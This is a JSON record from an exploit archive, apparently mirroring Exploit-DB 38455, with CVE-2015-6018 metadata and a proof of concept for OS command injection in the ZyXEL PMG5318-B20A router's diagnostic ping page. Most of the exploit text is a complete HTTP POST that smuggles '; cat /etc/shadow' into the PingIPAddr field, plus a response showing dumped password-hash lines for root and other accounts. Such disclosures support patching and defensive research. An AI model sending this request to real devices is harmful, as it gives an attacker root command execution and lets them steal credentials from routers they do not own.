{"exploit":{"id":"EDB-38455","name":"Zyxel PMG5318-B20A - OS Command Injection","description":"Zyxel PMG5318-B20A - OS Command Injection","cves":["CVE-2015-6018"],"author":"Karn Ganeshen","published":"2015-10-14","platform":"cgi","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38455","path":"exploits/cgi/webapps/38455.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38455.txt","vulnerabilities":[{"id":"CVE-2015-6018","state":"PUBLISHED","title":null,"titleSource":null,"description":"The diagnostic-ping implementation on ZyXEL PMG5318-B20A devices with firmware before 1.00(AANC.2)C0 allows remote attackers to execute arbitrary commands via the PingIPAddr parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-6018","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-6018"},"updatedAt":"2024-08-06T07:06:34.971Z","retrievedAt":"2026-11-27T16:11:44.697Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38455.png?v=2","url":"https://exploitbin.com/exploits/EDB-38455","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38455/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38455/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]\n# Discovered by: Karn Ganeshen\n# CERT VU# 870744\n# Vendor Homepage: [www.zyxel.com]\n# Version Reported: [Firmware version V100AANC0b5]\n# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]\n\n\n*Vulnerability Details*\n\nCWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input\nValidation - CVE-2015-6018\n\nThe diagnostic ping function's PingIPAddr parameter in the ZyXEL\nPMG5318-B20A, firmware version V100AANC0b5, does not properly validate user\ninput. An attacker can execute arbitrary commands as root.\n\n*OS Command Injection PoC*\n\nThe underlying services are run as 'root'. It therefore, allows dumping\nsystem password hashes.\n\n*HTTP Request*\n\nPOST /diagnostic/diagnostic_general.cgi HTTP/1.1\nHost: <IP>\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101\nFirefox/40.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://<IP>/diagnostic/diagnostic_general.cgi\nCookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive\nContent-Type: multipart/form-data; boundary=--------------------------\n-12062103314079176991367286444\nContent-Length: 451\n\n——————————————12062103314079176991367286444\nContent-Disposition: form-data; name=\"InfoDisplay”\n——————————————12062103314079176991367286444\nContent-Disposition: form-data; name=\"*PingIPAddr*\"\n*8.8.8.8; cat /etc/shadow *\n——————————————12062103314079176991367286444\nContent-Disposition: form-data; name=\"Submit\"\nPing\n….\n*HTTP Response *\n.....\n<snipped>\n<br class=\"clearfloat\" />\n<!-- configuration beginning -->\n<div class=\"headline\"><span class=\"cTitle\">General</span></div> <table\nwidth=\"90%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\"\nclass=\"cfgpadding\">\n<tr>\n<td nowrap=\"nowrap\"><textarea name=\"InfoDisplay\" rows=\"15\" cols=\"100\"\nreadonly=\"readonly”>\n\n\n*root:<hash>:15986:0:99999:7:::\nlp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::\nuser:<hash>:16035:0:99999:7:::*\n &lt;/textarea&gt;</td>\n</tr>\n</table>\n<table width=\"90%\" border=\"0\" align=\"center\" cellpadding=\"0\"\ncellspacing=\"0\" class=\"cfgpadding\">\n<tr>\n-----------------------------12062103314079176991367286444--","sha256":"3cfb402d20543599c18c2c23c61b0db63c3640d99286fb52822893ef47726d47","bytes":2393,"fetchedAt":"2026-11-27T16:11:40.935Z","encoding":"utf-8 (display only; download retains original bytes)"}